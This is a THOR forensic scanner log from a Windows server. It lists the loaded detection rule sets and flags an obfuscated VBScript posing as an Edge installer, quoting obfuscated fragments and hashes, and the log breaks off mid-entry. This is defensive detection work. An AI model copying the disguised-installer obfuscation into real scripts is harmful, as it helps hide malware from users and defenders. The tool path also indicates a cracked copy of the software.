Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Thor Version: 10.7.9 SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Thor Build: 9f8d57034f22 (2023-07-28 03:45:54) SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Run on system: WIN-LRTT94FA08M SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Running as user: WIN-LRTT94FA08M\Administrator SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Netbios Domain: WIN-LRTT94FA08M SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: User has admin rights: yes SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Working Directory: D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Startup MESSAGE: 32 bit THOR was executed on 64 bit system. For improved results, use the 64 bit version of THOR. SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Thor Scan started SCANID: S-BxzYg1khKSI START_TIME: Tue Sep 10 12:03:26 2024 HOSTNAME: WIN-LRTT94FA08M
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Effective argument list: [--path e:\ --module filescan] SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Platform: Windows Server 2019 Standard SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Platform DeepEval SCANID: S-BxzYg1khKSI NAME: Windows Server 2019 Standard TYPE: Multiprocessor Free VERSION: 6.3 PROC: Intel64 Family 6 Model 151 Stepping 2 ARCH: AMD64 INSTALLED_ON: Thu Jan  1 00:00:00 1970 BUILD_NUMBER: 17763
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Language: en-US, Zone: UTC SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: System Uptime: 1.16 days SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: CPU Count: 24 SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Memory in Megabyte: 65277 SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Startup MESSAGE: Signature file is older than 60 days. Run 'thor-util upgrade' to get new signatures. SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Signature Database: 2023/09/24-052825 SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Sigma Database: 0.22-3134-geb2f82cbc SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Successfully compiled 0 false positive filters SCANID: S-BxzYg1khKSI TYPE: log filter
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Writing report file to: WIN-LRTT94FA08M_thor_2024-09-10_1203.txt SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Writing csv report file to: WIN-LRTT94FA08M_files_md5s.csv SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: No json report file will be written SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Writing html report file to: WIN-LRTT94FA08M_thor_2024-09-10_1203.html SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: Syslog Export: off SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: IP Address 1: 10.100.5.12 SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: IP Address 2: 192.168.56.1 SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: IP Address 3: 192.168.74.1 SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: IP Address 4: 192.168.119.1 SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: ScanID: S-BxzYg1khKSI SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Startup MESSAGE: System is not a domain controller SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Max. file size to be scanned is 31.5 MB, use --max_file_size to increase the limit SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Selected modules: Filescan SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Deselected modules: Artifact-Collector, AtJobs, Autoruns, DNSCache, DeepDive, Dropzone, EnvCheck, EtwWatcher, Eventlog, Events, Firewall, Hosts, HotfixCheck, LSASessions, LoggedIn, MFT, Mutex, NetworkSessions, NetworkShares, Pipes, ProcessCheck, RegistryChecks, Rootkit, SHIMCache, ScheduledTasks, ServiceCheck, Thunderstorm, Timestomp, UserDir, Users, WMIStartup SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Selected features: Amcache, Archive, ArchiveScan, AtJobs, Auditlog, AuthorizedKeys, Bifrost2, BulkScan, C2, CPULimit, CheckString, CronParser, DoublePulsar, ETL, EVTX, Eml, EnrichFileInfo, ExeDecompress, FilenameIOCs, Filescan, GroupsXML, KeywordIOCs, Lnk, LogScan, Logger, MagicHeader, OLE, ParseCobaltStrike, Prefetch, ProcessConnections, ProcessHandles, ProgressTracker, RecycleBin, RegistryHive, Rescontrol, SHIMCache, Sigma, SignalHandler, Stix, TeamViewer, ThorDB, VirusTotal, VulnerabilityCheck, WER, WMIPersistence, WebdirScan, WorkerProgressTracker, Yara SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Deselected features: Action, AuditTrail, AuditTrailWriter, Bifrost, DumpScan, ProcessIntegrity SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: System Type: Server SCANID: S-BxzYg1khKSI
Sep 10 12:03:26 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-all.yas as 'default' type SCANID: S-BxzYg1khKSI
Sep 10 12:03:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-deepscan-selectors.yasx as 'meta' type SCANID: S-BxzYg1khKSI
Sep 10 12:03:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-keywords.yas as 'keyword' type SCANID: S-BxzYg1khKSI
Sep 10 12:03:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-log-sigs.yas as 'log' type SCANID: S-BxzYg1khKSI
Sep 10 12:03:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-meta.yas as 'meta' type SCANID: S-BxzYg1khKSI
Sep 10 12:03:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-peids.yas as 'default' type SCANID: S-BxzYg1khKSI
Sep 10 12:03:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-process-memory-sigs.yas as 'process' type SCANID: S-BxzYg1khKSI
Sep 10 12:03:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding rule set from thor-registry.yas as 'registry' type SCANID: S-BxzYg1khKSI
Sep 10 12:03:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma logsources from signatures\sigma\thor.yms SCANID: S-BxzYg1khKSI
Sep 10 12:03:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 7 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\category\antivirus SCANID: S-BxzYg1khKSI
Sep 10 12:03:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2010 SCANID: S-BxzYg1khKSI
Sep 10 12:03:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 4 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2014 SCANID: S-BxzYg1khKSI
Sep 10 12:03:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2015 SCANID: S-BxzYg1khKSI
Sep 10 12:03:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 12 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2017 SCANID: S-BxzYg1khKSI
Sep 10 12:03:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 14 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2018 SCANID: S-BxzYg1khKSI
Sep 10 12:03:37 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 23 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2019 SCANID: S-BxzYg1khKSI
Sep 10 12:03:37 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 27 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2020 SCANID: S-BxzYg1khKSI
Sep 10 12:03:38 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 67 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2021 SCANID: S-BxzYg1khKSI
Sep 10 12:03:38 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 19 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2022 SCANID: S-BxzYg1khKSI
Sep 10 12:03:39 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 76 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\emerging-threats\2023 SCANID: S-BxzYg1khKSI
Sep 10 12:03:40 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 49 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\linux\auditd SCANID: S-BxzYg1khKSI
Sep 10 12:03:40 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 27 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\linux\builtin SCANID: S-BxzYg1khKSI
Sep 10 12:03:40 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 7 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\linux\file_event SCANID: S-BxzYg1khKSI
Sep 10 12:03:41 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 3 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\linux\network_connection SCANID: S-BxzYg1khKSI
Sep 10 12:03:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 103 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\linux\process_creation SCANID: S-BxzYg1khKSI
Sep 10 12:03:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\macos\process_creation SCANID: S-BxzYg1khKSI
Sep 10 12:03:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 11 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\proxy SCANID: S-BxzYg1khKSI
Sep 10 12:03:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 3 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\web\product SCANID: S-BxzYg1khKSI
Sep 10 12:03:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 39 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\web\proxy_generic SCANID: S-BxzYg1khKSI
Sep 10 12:03:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 3 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\web SCANID: S-BxzYg1khKSI
Sep 10 12:03:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 12 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\web\webserver_generic SCANID: S-BxzYg1khKSI
Sep 10 12:03:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 359 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\builtin SCANID: S-BxzYg1khKSI
Sep 10 12:03:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 16 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\create_remote_thread SCANID: S-BxzYg1khKSI
Sep 10 12:03:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 9 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\create_stream_hash SCANID: S-BxzYg1khKSI
Sep 10 12:03:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 14 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\dns_query SCANID: S-BxzYg1khKSI
Sep 10 12:03:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 18 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\driver_load SCANID: S-BxzYg1khKSI
Sep 10 12:03:51 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 183 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\file SCANID: S-BxzYg1khKSI
Sep 10 12:03:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 94 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\image_load SCANID: S-BxzYg1khKSI
Sep 10 12:03:52 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 46 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\network_connection SCANID: S-BxzYg1khKSI
Sep 10 12:03:53 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 20 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\pipe_created SCANID: S-BxzYg1khKSI
Sep 10 12:03:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 258 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\powershell SCANID: S-BxzYg1khKSI
Sep 10 12:03:56 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 27 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\process_access SCANID: S-BxzYg1khKSI
Sep 10 12:04:07 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1164 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\process_creation SCANID: S-BxzYg1khKSI
Sep 10 12:04:07 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\raw_access_thread SCANID: S-BxzYg1khKSI
Sep 10 12:04:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 246 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\registry SCANID: S-BxzYg1khKSI
Sep 10 12:04:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 1 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\registry_setinfo SCANID: S-BxzYg1khKSI
Sep 10 12:04:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 7 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\sysmon SCANID: S-BxzYg1khKSI
Sep 10 12:04:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Adding sigma rules from 3 files in D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\sigma\windows\wmi_event SCANID: S-BxzYg1khKSI
Sep 10 12:04:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 1748 sigma rules SCANID: S-BxzYg1khKSI TYPE: SIGMA
Sep 10 12:04:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 0 STIXv2 indicators (skipped 0 indicators) SCANID: S-BxzYg1khKSI TYPE: STIX
Sep 10 12:04:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\custom-evil-hashes.dat as 'hash' type SCANID: S-BxzYg1khKSI
Sep 10 12:04:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\filename-characteristics.dat as 'filename' type SCANID: S-BxzYg1khKSI
Sep 10 12:04:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\keywords.dat as 'keyword' type SCANID: S-BxzYg1khKSI
Sep 10 12:04:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\malicious-events.dat as 'handles' type SCANID: S-BxzYg1khKSI
Sep 10 12:04:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\malicious-mutexes.dat as 'handles' type SCANID: S-BxzYg1khKSI
Sep 10 12:04:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\malicious-namedpipes.dat as 'pipes' type SCANID: S-BxzYg1khKSI
Sep 10 12:04:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\iocs\malware-domains.dat as 'domains' type SCANID: S-BxzYg1khKSI
Sep 10 12:04:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Reading iocs from D:\Forensic_tools\THOR\Nextron_Thor_10.7.9.0_Windows_Cracked\signatures\misc\file-type-signatures.cfg as 'file-type-signatures' type SCANID: S-BxzYg1khKSI
Sep 10 12:04:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 63 keyword ioc strings SCANID: S-BxzYg1khKSI TYPE: IOC
Sep 10 12:04:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 7642 filename ioc strings and 1219 filename ioc regexs SCANID: S-BxzYg1khKSI TYPE: IOC
Sep 10 12:04:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 9858 malware and 0 false positive hashes SCANID: S-BxzYg1khKSI TYPE: IOC
Sep 10 12:04:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 177 file type signatures SCANID: S-BxzYg1khKSI TYPE: IOC
Sep 10 12:04:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 5346 malware domains SCANID: S-BxzYg1khKSI TYPE: IOC
Sep 10 12:04:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 73 named pipe ioc strings and 65 named pipe ioc regexs SCANID: S-BxzYg1khKSI TYPE: IOC
Sep 10 12:04:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully compiled 516 malicious handles and 229 regex malicious handles SCANID: S-BxzYg1khKSI TYPE: IOC
Sep 10 12:04:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: No custom registry excludes defined SCANID: S-BxzYg1khKSI
Sep 10 12:04:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: No custom eventlog excludes defined SCANID: S-BxzYg1khKSI
Sep 10 12:04:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: No custom process excludes defined SCANID: S-BxzYg1khKSI
Sep 10 12:04:15 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 23008 default YARA rules SCANID: S-BxzYg1khKSI TYPE: YARA
Sep 10 12:04:15 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 0 custom default YARA rules SCANID: S-BxzYg1khKSI TYPE: YARA
Sep 10 12:04:15 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 134 meta YARA rules SCANID: S-BxzYg1khKSI TYPE: YARA
Sep 10 12:04:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 9961 process YARA rules SCANID: S-BxzYg1khKSI TYPE: YARA
Sep 10 12:04:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 3268 log YARA rules SCANID: S-BxzYg1khKSI TYPE: YARA
Sep 10 12:04:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 544 registry YARA rules SCANID: S-BxzYg1khKSI TYPE: YARA
Sep 10 12:04:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Yara MESSAGE: Successfully compiled 270 keyword YARA rules SCANID: S-BxzYg1khKSI TYPE: YARA
Sep 10 12:04:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Init MESSAGE: Successfully opened ThorDB SCANID: S-BxzYg1khKSI PATH: C:\ProgramData\thor\thor10.db ENTRIES: 81
Sep 10 12:04:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Filescan MESSAGE: Starting module SCANID: S-BxzYg1khKSI
Sep 10 12:04:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Filescan MESSAGE: The following paths will be scanned: E:\ SCANID: S-BxzYg1khKSI
Sep 10 12:04:18 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: Filescan MESSAGE: Scanning E:\ RECURSIVE SCANID: S-BxzYg1khKSI
Sep 10 12:14:04 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 76 FILE: E:\Program Files\Microsoft\MsEdge\MicrosoftEdgeInstaller.vbs EXT: .vbs TYPE: UNKNOWN SIZE: 4178 MD5: a955137cc87c58f4bd05d5d63c120d84 SHA1: f06679ed0a37352a4ad2a1bf86ba4ab2153f3e0a SHA256: bba2099285e4a444898294e5e3738cff974932c2e1abe5168f374b24808e1688 FIRSTBYTES: 64494d2056556a4656566463584470736457516a / dIM VUjFVVdcXDpsdWQj CREATED: Wed Aug  7 08:50:58.000 2024 MODIFIED: Wed Aug  7 08:50:58.000 2024 ACCESSED: Tue Sep  3 09:04:48.231 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:F / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM REASON_1: YARA rule Casing_Anomaly_Split_1 / Detects suspicious casing of split statement SUBSCORE_1: 60 REF_1: Internal Research SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: " = spLIt(" in "kuXVsgNtdcmFYWYwtBxoSlalhilPdCnHlTkfHUGHSBwRHeECHz = spLIt(VUJfvvDcxDpSdwqjiozNZWJyPdBQvHAWTWIvRaeZiXvgLhJJkI" at 0xdc6 RULEDATE_1: 2018-01-18 TAGS_1: ANOMALY, CASING, SCRIPT, SUSP, T1027, T1059 RULENAME_1: Casing_Anomaly_Split_1 AUTHOR_1: Florian Roth REASON_2: YARA rule Casing_Anomaly_Execute / Detects suspicious casing of execute SUBSCORE_2: 60 REF_2: Internal Research - T2T SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "exeCuTe(" in 